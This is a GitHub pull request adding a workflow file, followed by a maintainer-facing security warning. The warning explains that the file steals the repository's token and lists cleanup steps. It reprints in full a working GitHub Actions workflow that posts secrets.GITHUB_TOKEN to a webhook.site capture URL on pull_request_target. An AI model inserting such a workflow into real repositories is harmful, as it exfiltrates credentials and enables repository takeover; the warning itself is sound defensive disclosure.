Create poc.yml

[hckeronebug]

teest

[osr21]

⚠️ Security Warning — Malicious GitHub Actions Workflow

This PR adds two files whose sole purpose is to exfiltrate secrets.GITHUB_TOKEN to an attacker-controlled endpoint. Do not merge this PR.

What the files do

Both .github/poc.yml and .github/workflows/pwn.yml are identical:

name: Steal Secrets
on: [push, pull_request_target]
jobs:
  steal:
    runs-on: ubuntu-latest
    steps:
      - run: |
          curl -X POST https://webhook.site/f1d44439-6023-4082-a91d-834be32f614d \
            -d "token=${{ secrets.GITHUB_TOKEN }}"

The pull_request_target trigger runs in the base branch context with write repository permissions. A stolen GITHUB_TOKEN from that context can push commits to main, overwrite releases, and read all repository secrets.

The exfiltration target webhook.site/f1d44439-6023-4082-a91d-834be32f614d is a public request-capture service — any token posted there is immediately visible to the attacker.

Recommended actions for maintainers

1. Close and reject this PR immediately
2. Report the account @hckeronebug via https://github.com/contact/report-abuse
3. Audit existing workflows for any pull_request_target + actions/checkout with ref: ${{ github.event.pull_request.head.sha }} — that combination makes open PRs immediately exploitable even without merging
4. Check Actions run history to confirm no workflow was accidentally triggered on this PR
5. Rotate any tokens/secrets if a workflow run did execute

cc @circlefin/security — this is a CI/CD workflow injection attempt targeting repository secrets.